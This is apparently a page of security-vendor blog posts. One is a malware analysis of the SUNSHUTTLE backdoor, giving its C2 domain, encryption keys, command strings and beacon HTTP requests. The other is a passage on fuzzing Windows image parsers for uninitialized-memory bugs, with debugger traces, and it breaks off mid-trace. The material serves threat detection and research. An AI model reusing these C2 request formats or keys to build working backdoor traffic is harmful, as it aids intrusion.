utility. Helix WINDOWS METHODOLOGY [Unusual Web Server Child Process] MICROSOFT EXCHANGE [Authentication Bypass (CVE-2021-26855)]

  • New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452
    by Lindsay Smith on March 4, 2021 at 5:00 pm

    Executive Summary In August 2020, a U.S.-based entity uploaded a new backdoor that we have named SUNSHUTTLE to a public malware repository. SUNSHUTTLE is a second-stage backdoor written in GoLang that features some detection evasion capabilities. Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection. Please see the Technical Annex for relevant MITRE ATT&CK techniques (T1027, T1027.002, T1059.003, T1071.001, T1105, T1140, T1573.001). The activity discussed in this blog post is also detailed in a Microsoft blog post. We thank the team at Microsoft and other partners for their great collaboration in tracking this actor. Threat Detail Mandiant Threat Intelligence discovered a new backdoor uploaded by a U.S.-based entity to a public malware repository in August 2020 that we have named SUNSHUTTLE. SUNSHUTTLE is written in GO, and reads an embedded or local configuration file, communicates with a hard-coded command and control (C2) server over HTTPS, and supports commands including remotely uploading its configuration, file upload and download, and arbitrary command execution. Notably, SUNSHUTTLE uses cookie headers to pass values to the C2, and if configured, can select referrers from a list of popular website URLs to help such network traffic “blend in.” The SUNSHUTTLE backdoor file examined, “Lexicon.exe” (MD5: 9466c865f7498a35e4e1a8f48ef1dffd), was written in GoLang. The file unpacks into MD5: 86e89349fefcbdd9d2c80ca30fa85511. The infection vector for SUNSHUTTLE is not known. It is most likely a second-stage backdoor dropped after an initial compromise. The SUNSHUTTLE sample uses the actor-controlled server “reyweb[.]com” for C2. “Reyweb[.]com” is registered anonymously via NameSilo, a domain provider who accepts bitcoin payment and has been used for C2 registration by state-sponsored APTs in the past, including Russia-nexus actors and Iran-nexus APTs Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection. Please see FireEye’s resource center for background on UNC2452 and the SUNBURST campaign. Outlook and Implications The new SUNSHUTTLE backdoor is a sophisticated second-stage backdoor that demonstrates straightforward but elegant detection evasion techniques via its “blend-in” traffic capabilities for C2 communications. SUNSHUTTLE would function as second-stage backdoor in such a compromise for conducting network reconnaissance alongside other SUNBURST-related tools. Technical Annex Mandiant Threat Intelligence discovered a sample of the SUNSHUTTLE backdoor uploaded to an online multi-Antivirus scan service. SUNSHUTTLE is a backdoor, written in GO, that reads an embedded or local configuration file, communicates with its C2 server over HTTPS and supports commands including remotely updating its configuration, file upload and download, and arbitrary command execution. Lexicon.exe (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)C2: reyweb[.]com UNAVAILABLE (MD5: 86e89349fefcbdd9d2c80ca30fa85511)Unpacked version of 9466c865f7498a35e4e1a8f48ef1dffd Infection Vector For the samples analyzed, the infection vector is not known. Execution Execution Summary SUNSHUTTLE is a backdoor written in GoLang. Once SUNSHUTTLE is executed, a high-level description of the execution is the following: Configuration settings determined Request a “session key” from the C2 Retrieve the “session key” from the C2Once a session key is retrieved, SUNSHUTTLE begins command request beaconing loop Begin command request beaconing Resolve command and perform action The SUNSHUTTLE sample analyzed retains the names of the routines used by the malware, which include the following: main.request_session_key main.define_internal_settings main.send_file_part main.clean_file main.send_command_result main.retrieve_session_key main.save_internal_settings main.resolve_command main.write_file main.beaconing main.wget_file main.fileExists main.encrypt main.decrypt main.random main.removeBase64Padding main.addBase64Padding main.delete_empty main.Unpad main.GetMD5Hash main.Pad Note: Throughout the SUNSHUTTLE backdoor, unique string identifiers are used to indicate the operation being performed to the C2 via a Cookie header, and unique string identifiers are also used to validate and parse response content from the C2. These unique string values are thought to be unique and random per compiled sample. Initial Execution Once executed, the SUNSHUTTLE backdoor enumerates the victim’s MAC address and compares it to a hardcoded MAC address value “c8:27:cc:c2:37:5a”. If a match is found the backdoor exits. The MAC address is likely a default MAC address for the Windows sandbox network adapter. Figure 1: Mac address check Configuration If the check is successful, the SUNSHUTTLE backdoor then enters a routine named “main_define_internal_settings”, which handles creation of the configuration file if one doesn’t already exist in the directory from which SUNSHUTTLE is running. For the sample analyzed, the configuration filename is “config.dat.tmp”. The configuration data is Base64 encoded and AES-256 encrypted using the following key: hz8l2fnpvp71ujfy8rht6b0smouvp9k8 The configuration has the following example values when Base64 decoded and AES decrypted: 48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w The configuration holds several values delimited by a “|” character, which are briefly described as follows. 48b9e25491e088a35105274cae0b9e67MD5 hash of the current timestamp calculated during execution. 5-15Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes 00 or 1 — Utilize “blend-in” traffic requests. Internally called “false_requesting” 0Activate execution timestamp (0 by default) — execution “activates” or continues if current time is greater than the value in the configuration TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2 8vMjAxMDAxMDEgRmlyZWZveC83NS4wBase64-encoded User-agent used in HTTPS requests Decoded: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 If set in the configuration, the “blend-in” traffic occurs as the malware executes and transitions through its routines. The following URLs are leveraged for the “blend-in” requests: https://reyweb[.]com/icon.ico https://reyweb[.]com/icon.png https://reyweb[.]com/script.js https://reyweb[.]com/style.css https://reyweb[.]com/css/style.css https://reyweb[.]com/css/bootstrap.css https://reyweb[.]com/scripts/jquery.js https://reyweb[.]com/scripts/bootstrap.js https://cdn.mxpnl[.]com/ https://cdn.google[.]com/ https://cdn.jquery[.]com/ https://code.jquery[.]com/ https://cdn.cloudflare[.]com/ Session Key Mechanism SUNSHUTTLE performs initial requests to the C2 in order to request and then retrieve what it internally refers to as a session key. The retrieved session key from the C2 appears to be RSA decrypted using the following private key that is embedded in SUNSHUTTLE and believed to be unique per compiled sample. Analysis is on-going on how the decrypted session key is used, but it is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines.             —–BEGIN PRIVATE KEY—– MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi +UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M 7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7 MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1 HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7 agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/ Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6 gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi —–END PRIVATE KEY— After the configuration is created or read from, SUNSHUTTLE enters a routine named “main_request_session_key”. The malware will iterate over this routine until it’s successful, sleeping a period of time after each iteration. Inside the “main_request_session_key” routine, SUNSHUTTLE constructs an HTTPS request to its configured C2. Upon an HTTP 200 response from the request, the response data from the C2 is expected to not contain the following string for the sample analyzed: ywQdjLuHHC The request_session_key routine returns a 1 if the string is not in the response and a -1 if it is in the response. If the result of the request_session_key is 1, SUNSHUTTLE will execute the retrieve_session_key routine. The retrieve_session_key routine again contacts the C2 and downloads content that is expected to be decrypted by the aforementioned embedded private key. The decrypted content is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines. Commanding Once a session key is retrieved from the C2, SUNSHUTTLE begins the beaconing and “resolve_command” routines in a loop. SUNSHUTTLE first issues a beacon to retrieve a command. After, SUNSHUTTLE will enter the routine “resolve_command”, which parses the response content to determine which command should be run. Available commands include remotely updating its configuration, file upload and download, and arbitrary command execution.  Figure 2: Resolve command graph The content returned from the C2 after the “main_beaconing” routine is Base64 decoded and AES decrypted. A check is performed to ensure the decrypted content doesn’t contain the following string: Cp5RTQ31R1 As noted, it is likely these strings are unique per sample and randomly generated at compilation. The decrypted content is parsed for certain unique strings. Unique string in decrypted response Meaning zSsP2TSJJm3a Update sleep range — save config aQJmWJzXdYK721mGBI3U Update “false requesting” value – save config W5VYP9Iu2uyHK Update C2 URL and User-agent – save config 3487wD9t2OZkvqdwRpqPeE Send current timestamp to C2 ubFxROBRwfswVRWNjLC Update “activation” timestamp in the config — save config TMuhGdA9EHY Upload file to C2 if the file exists 1kG4NaRX83BCMgLo38Bjq Execute command – return “EXECED” if successful hB0upT6CUmdRaR2KVBvxrJ Execute command – return results/output N/A (other string criteria met) Provides terminal command execution N/A (other string criteria met) Download file from C2 Files Dropped After successful execution of the malware, it drops the following files to the victim’s system: <current_directory>\config.dat.tmp (MD5: Dynamic)Encrypted configuration file Persistence Method The SUNSHUTTLE malware was not observed setting its own persistence. It is likely the persistence is set outside of the execution of SUNSHUTTLE. Network Communications SUNSHUTTLE uses the cookie header to pass values to the C2. Additionally, a referrer is selected from the following list, presumably to make the traffic blend in if traffic is being decrypted for inspection: www.bing.com www.yahoo.com www.google.com www.facebook.com The cookie headers vary slightly depending on the operation being performed. The following is an example request to the C2 from the “request_session_key” routine. Victim to C2GET /assets/index.php HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.facebook.com Accept-Encoding: gzip Within the Cookie header, these values represent the following: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67 Timestamp MD5 contained within the configuration P5hCrabkKf=gZLXIeKI “P5hCrabkKf=” contains a unique string based on which routine is performing the request (see the following table). iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx “i4zICToyI70Yeidf1f7rWjm5foKX2Usx” is hard coded within the SUNSHUTTLE backdoor. It possibly represents a payload identifier b7XCoFSvs1YRW=78 Unknown purpose. This value is only included in request_session_key and retrieve_session_key requests. As mentioned, the cookie value “P5hCrabkKf=” contained in each request signifies the operation that is being performed. “P5hCrabkKf=” Cookie Value Meaning gZLXIeK main_request_session_key do1KiqzhQ main_clean_file t5UITQ2PdFg5 main_wget_file cIHiqD5p4da6OeB main_retrieve_session_key xpjQVt3bJzWuv main_send_file_part S4rgG1WifHU main_send_command_result After successful installation / initialization of the malware, it proceeds to make the following callback to the C2 server reyweb[.]com via TCP/443 HTTPS: Victim to C2GET /assets/index.php HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.facebook.com Accept-Encoding: gzip   Victim to C2GET /assets/index.php HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.yahoo.com Accept-Encoding: gzip Additionally, if the “fake_requesting” configuration value is set to 1, SUNSHUTTLE will generate traffic meant to blend in with real traffic. Examples of those requests are as follows: Victim to C2GET /icon.png HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.google.com Accept-Encoding: gzip Victim to C2GET /css/style.css HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.facebook.com Accept-Encoding: gzip Victim to C2GET /css/bootstrap.css HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.facebook.com Accept-Encoding: gzip Victim to LegitimateGET / HTTP/1.1 Host: cdn.cloudflare[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.google.com Accept-Encoding: gzip Appendix: MITRE ATT&CK Framework Technique Description T1027 Obfuscated Files or Information T1027.002 Software Packing T1059.003 Windows Command Shell T1071.001 Web Protocols T1105 Ingress Tool Transfer T1140 Deobfuscate/Decode Files or Information T1573.001 Symmetric Cryptography Appendix: Detecting the Techniques FireEye security solutions provide detection of the SUNSHUTTLE activity across email, endpoint and network levels. The following is a snapshot of existing detections related to activity outlined in this blog post. Platform(s) Detection Name Network Security Email Security Detection On Demand Malware File Scanning Malware File Storage Scanning FE_APT_Backdoor_Win64_SUNSHUTTLE_1 FE_APT_Backdoor_Win_SUNSHUTTLE_1 APT.Backdoor.Win.SUNSHUTTLE APT.Backdoor.Win.SUNSHUTTLE.MVX Endpoint Security Malware Protection (AV/MG) Trojan.GenericKD.34453763 Generic.mg.9466c865f7498a35

  • Fuzzing Image Parsing in Windows, Part Two: Uninitialized Memory
    by Dhanesh Kizhakkinan on March 3, 2021 at 7:30 pm

    Continuing our discussion of image parsing vulnerabilities in Windows, we take a look at a comparatively less popular vulnerability class: uninitialized memory. In this post, we will look at Windows’ inbuilt image parsers—specifically for vulnerabilities involving the use of uninitialized memory. The Vulnerability: Uninitialized Memory In unmanaged languages, such as C or C++, variables are not initialized by default. Using uninitialized variables causes undefined behavior and may cause a crash. There are roughly two variants of uninitialized memory: Direct uninitialized memory usage: An uninitialized pointer or an index is used in read or write. This may cause a crash. Information leakage (info leak) through usage of uninitialized memory: Uninitialized memory content is accessible across a security boundary. An example: an uninitialized kernel buffer accessible from user mode, leading to information disclosure. In this post we will be looking closely at the second variant in Windows image parsers, which will lead to information disclosure in situations such as web browsers where an attacker can read the decoded image back using JavaScript. Detecting Uninitialized Memory Vulnerabilities Compared to memory corruption vulnerabilities such as heap overflow and use-after-free, uninitialized memory vulnerabilities on their own do not access memory out of bound or out of scope. This makes detection of these vulnerabilities slightly more complicated than memory corruption vulnerabilities. While direct uninitialized memory usage can cause a crash and can be detected, information leakage doesn’t usually cause any crashes. Detecting it requires compiler instrumentations such as MemorySanitizer or binary instrumentation/recompilation tools such as Valgrind. Detour: Detecting Uninitialized Memory in Linux Let’s take a little detour and look at detecting uninitialized memory in Linux and compare with Windows’ built-in capabilities. Even though compilers warn about some uninitialized variables, most of the complicated cases of uninitialized memory usage are not detected at compile time. For this, we can use a run-time detection mechanism. MemorySanitizer is a compiler instrumentation for both GCC and Clang, which detects uninitialized memory reads. A sample of how it works is given in Figure 1. $ cat sample.cc #include <stdio.h> int main() {     int *arr = new int[10];     if(arr[3] == 0)     {          printf(“Yay!\n”);     }     printf(“%08x\n”, arr[3]);     return 0; } $ clang++ -fsanitize=memory -fno-omit-frame-pointer -g sample.cc $ ./a.out ==29745==WARNING: MemorySanitizer: use-of-uninitialized-value     #0 0x496db8  (/home/dan/uni/a.out+0x496db8)     #1 0x7f463c5f1bf6  (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)     #2 0x41ad69  (/home/dan/uni/a.out+0x41ad69) SUMMARY: MemorySanitizer: use-of-uninitialized-value (/home/dan/uni/a.out+0x496db8) Exiting Figure 1: MemorySanitizer detection of uninitialized memory Similarly, Valgrind can also be used to detect uninitialized memory during run-time. Detecting Uninitialized Memory in Windows Compared to Linux, Windows lacks any built-in mechanism for detecting uninitialized memory usage. While Visual Studio and Clang-cl recently introduced AddressSanitizer support, MemorySanitizer and other sanitizers are not implemented as of this writing. Some of the useful tools in Windows to detect memory corruption vulnerabilities such as PageHeap do not help in detecting uninitialized memory. On the contrary, PageHeap fills the memory allocations with patterns, which essentially makes them initialized. There are few third-party tools, including Dr.Memory, that use binary instrumentation to detect memory safety issues such as heap overflows, uninitialized memory usages, use-after-frees, and others. Detecting Uninitialized Memory in Image Decoding Detecting uninitialized memory in Windows usually requires binary instrumentation, especially when we do not have access to source code. One of the indicators we can use to detect uninitialized memory usage, specifically in the case of image decoding, is the resulting pixels after the image is decoded. When an image is decoded, it results in a set of raw pixels. If image decoding uses any uninitialized memory, some or all of the pixels may end up as random. In simpler words, decoding an image multiple times may result in different output each time if uninitialized memory is used. This difference of output can be used to detect uninitialized memory and aid writing a fuzzing harness targeting Windows image decoders. An example fuzzing harness is presented in Figure 2. #define ROUNDS 20 unsigned char* DecodeImage(char *imagePath) {       unsigned char *pixels = NULL;            // use GDI or WIC to decode image and get the resulting pixels       …       …            return pixels; } void Fuzz(char *imagePath) {       unsigned char *refPixels = DecodeImage(imagePath);            if(refPixels != NULL)       {             for(int i = 0; i < ROUNDS; i++)             {                   unsigned char *currPixels = DecodeImage(imagePath);                   if(!ComparePixels(refPixels, currPixels))                   {                         // the reference pixels and current pixels don’t match                         // crash now to let the fuzzer know of this file                         CrashProgram();                   }                   free(currPixels);             }             free(refPixels);       } } Figure 2: Diff harness The idea behind this fuzzing harness is not entirely new; previously, lcamtuf used a similar idea to detect uninitialized memory in open-source image parsers and used a web page to display the pixel differences. Fuzzing With the diffing harness ready, one can proceed to look for the supported image formats and gather corpuses. Gathering image files for corpus is considerably easy given the near unlimited availability on the internet, but at the same time it is harder to find good corpuses among millions of files with unique code coverage. Code coverage information for Windows image parsing is tracked from WindowsCodecs.dll. Note that unlike regular Windows fuzzing, we will not be enabling PageHeap this time as PageHeap “initializes” the heap allocations with patterns. Results During my research, I found three cases of uninitialized memory usage while fuzzing Windows built-in image parsers. Two of them are explained in detail in the next sections. Root cause analysis of uninitialized memory usage is non-trivial. We don’t have a crash location to back trace, and have to use the resulting pixel buffer to back trace to find the root cause—or use clever tricks to find the deviation. CVE-2020-0853 Let’s look at the rendering of the proof of concept (PoC) file before going into the root cause of this vulnerability. For this we will use lcamtuf’s HTML, which loads the PoC image multiple times and compares the pixels with reference pixels. Figure 3: CVE-2020-0853 As we can see from the resulting images (Figure 3), the output varies drastically in each decoding and we can assume this PoC leaks a lot of uninitialized memory. To identify the root cause of these vulnerabilities, I used Time Travel Debugging (TTD) extensively. Tracing back the execution and keeping track of the memory address is a tedious task, but TTD makes it only slightly less painful by keeping the addresses and values constant and providing unlimited forward and backward executions.  After spending quite a bit of time debugging the trace, I found the source of uninitialized memory in windowscodecs!CFormatConverter::Initialize. Even though the source was found, it was not initially clear why this memory ends up in the calculation of pixels without getting overwritten at all. To solve this mystery, additional debugging was done by comparing PoC execution trace against a normal TIFF file decoding. The following section shows the allocation, copying of uninitialized value to pixel calculation and the actual root cause of the vulnerability. Allocation and Use of Uninitialized Memory windowscodecs!CFormatConverter::Initialize allocates 0x40 bytes of memory, as shown in Figure 4. 0:000> r rax=0000000000000000 rbx=0000000000000040 rcx=0000000000000040 rdx=0000000000000008 rsi=000002257a3db448 rdi=0000000000000000 rip=00007ffaf047a238 rsp=000000ad23f6f7c0 rbp=000000ad23f6f841  r8=000000ad23f6f890  r9=0000000000000010 r10=000002257a3db468 r11=000000ad23f6f940 r12=000000000000000e r13=000002257a3db040 r14=000002257a3dbf60 r15=0000000000000000 iopl=0         nv up ei pl zr na po nc cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246 windowscodecs!CFormatConverter::Initialize+0x1c8: 00007ffa`f047a238 ff15ea081200    call    qword ptr [windowscodecs!_imp_malloc (00007ffa`f059ab28)] ds:00007ffa`f059ab28={msvcrt!malloc (00007ffa`f70e9d30)} 0:000> k  # Child-SP          RetAddr               Call Site 00 000000ad`23f6f7c0 00007ffa`f047c5fb     windowscodecs!CFormatConverter::Initialize+0x1c8 01 000000ad`23f6f890 00007ffa`f047c2f3     windowscodecs!CFormatConverter::Initialize+0x12b 02 000000ad`23f6f980 00007ff6`34ca6dff     windowscodecs!CFormatConverterResolver::Initialize+0x273 //Uninitialized memory after allocation: 0:000> db @rax 00000225`7a3dbf70  d0 b0 3d 7a 25 02 00 00-60 24 3d 7a 25 02 00 00  ..=z%…`$=z%… 00000225`7a3dbf80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ……………. 00000225`7a3dbf90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ……………. 00000225`7a3dbfa0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ……………. 00000225`7a3dbfb0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ……………. 00000225`7a3dbfc0  00 00 00 00 00 00 00 00-64 51 7c 26 c3 2c 01 03  ……..dQ|&.,.. 00000225`7a3dbfd0  f0 00 2f 6b 25 02 00 00-f0 00 2f 6b 25 02 00 00  ../k%…../k%… 00000225`7a3dbfe0  60 00 3d 7a 25 02 00 00-60 00 3d 7a 25 02 00 00  `.=z%…`.=z%… Figure 4: Allocation of memory The memory never gets written and the uninitialized values are inverted in windowscodecs!CLibTiffDecoderBase::HrProcessCopy and further processed in windowscodecs!GammaConvert_16bppGrayInt_128bppRGBA and in later called scaling functions. As there is no read or write into uninitialized memory before HrProcessCopy, I traced the execution back from HrProcessCopy and compared the execution traces with a normal tiff decoding trace. A difference was found in the way windowscodecs!CLibTiffDecoderBase::UnpackLine behaved with the PoC file compared to a normal TIFF file, and one of the function parameters in UnpackLine was a pointer to the uninitialized buffer. The UnpackLine function has a series of switch-case statements working with bits per sample (BPS) of TIFF images. In our PoC TIFF file, the BPS value is 0x09—which is not supported by UnpackLine—and the control flow never reaches a code path that writes to the buffer. This is the root cause of the uninitialized memory, which gets processed further down the pipeline and finally shown as pixel data. Patch After presenting my analysis to Microsoft, they decided to patch the vulnerability by making the files with unsupported BPS values as invalid. This avoids all decoding and rejects the file in the very early phase of its loading. CVE-2020-1397 Figure 5: Rendering of CVE-2020-1397 Unlike the previous vulnerability, the difference in the output is quite limited in this one, as seen in Figure 5. One of the simpler root cause analysis techniques that can be used to figure out a specific type of uninitialized memory usage is comparing execution traces of runs that produce two different outputs. This specific technique can be helpful when an uninitialized variable causes a control flow change in the program and that causes a difference in the outputs. For this, a binary instrumentation script was written, which logged all the instructions executed along with its registers and accessed memory values. Diffing two distinct execution traces by comparing the instruction pointer (RIP) value, I found a control flow change in windowscodecs!CCCITT::Expand2DLine due to a usage of an uninitialized value. Back tracing the uninitialized value using TTD trace was exceptionally useful for finding the root cause. The following section shows the allocation, population and use of the uninitialized value, which leads to the control flow change and deviance in the pixel outputs. Allocation windowscodecs!TIFFReadBufferSetup allocates 0x400 bytes of memory, as shown in Figure 6. windowscodecs!TIFFReadBufferSetup:     …     allocBuff = malloc(size);     *(v3 + 16) |= 0x200u;     *(v3 + 480) = allocBuff; 0:000> k  # Child-SP          RetAddr           Call Site 00 000000aa`a654f128 00007ff9`4404d4f3 windowscodecs!TIFFReadBufferSetup 01 000000aa`a654f130 00007ff9`4404d3c9 windowscodecs!TIFFFillStrip+0xab 02 000000aa`a654f170 00007ff9`4404d2dc windowscodecs!TIFFReadEncodedStrip+0x91 03 000000aa`a654f1b0 00007ff9`440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 04 000000aa`a654f1e0 00007ff9`44115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad 05 000000aa`a654f2b0 00007ff9`44077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a 06 000000aa`a654f2f0 00007ff9`44048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 07 000000aa`a654f320 00007ff9`44048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b 08 000000aa`a654f3d0 00007ff9`44043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 09 000000aa`a654f4d0 00007ff9`4404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5   After allocation: 0:000> !heap -p -a @rax     address 0000029744382140 found in     _HEAP @ 29735190000               HEAP_ENTRY Size Prev Flags            UserPtr UserSize – state         0000029744382130 0041 0000  [00]   0000029744382140    00400 – (busy)           unknown!noop //Uninitialized memory after allocation         0:000> db @rax 00000297`44382140  40 7c 5e 97 29 5d 5f ae-73 31 98 70 b8 4f da ac  @|^.)]_.s1.p.O.. 00000297`44382150  06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83  .QT..*#:O..’..,. 00000297`44382160  3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9  :%….<….’.sA. 00000297`44382170  fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7  …..>.EL…r.!. 00000297`44382180  c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0  .D.;[email protected] 00000297`44382190  85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66  ….;…x….Maf 00000297`443821a0  16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44  .}[email protected]…T.D 00000297`443821b0  66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94  f&(…R….4._o. Figure 6: Allocation of memory Partially Populating the Buffer 0x10 bytes are copied from the input file to this allocated buffer by TIFFReadRawStrip1. The rest of the buffer remains uninitialized with random values, as shown in Figure 7. if ( !TIFFReadBufferSetup(v2, a2, stripCount) ) {       return 0i64; } if ( TIFFReadRawStrip1(v2, v3, sizeToReadFromFile, “TIFFFillStrip”) != sizeToReadFromFile )   0:000> r rax=0000000000000001 rbx=000002973519a7e0 rcx=000002973519a7e0 rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000010 rip=00007ff94404d58c rsp=000000aaa654f128 rbp=0000000000000000  r8=0000000000000010  r9=00007ff94416fc38 r10=0000000000000000 r11=000000aaa654ef60 r12=0000000000000001 r13=0000000000000000 r14=0000029744377de0 r15=0000000000000001 iopl=0         nv up ei pl nz na pe nc cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202 windowscodecs!TIFFReadRawStrip1: 00007ff9`4404d58c 488bc4          mov     rax,rsp 0:000> k  # Child-SP          RetAddr           Call Site 00 000000aa`a654f128 00007ff9`4404d491 windowscodecs!TIFFReadRawStrip1 01 000000aa`a654f130 00007ff9`4404d3c9 windowscodecs!TIFFFillStrip+0x49 02 000000aa`a654f170 00007ff9`4404d2dc windowscodecs!TIFFReadEncodedStrip+0x91 03 000000aa`a654f1b0 00007ff9`440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 04 000000aa`a654f1e0 00007ff9`44115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad 05 000000aa`a654f2b0 00007ff9`44077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a 06 000000aa`a654f2f0 00007ff9`44048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 07 000000aa`a654f320 00007ff9`44048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b 08 000000aa`a654f3d0 00007ff9`44043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 09 000000aa`a654f4d0 00007ff9`4404563b 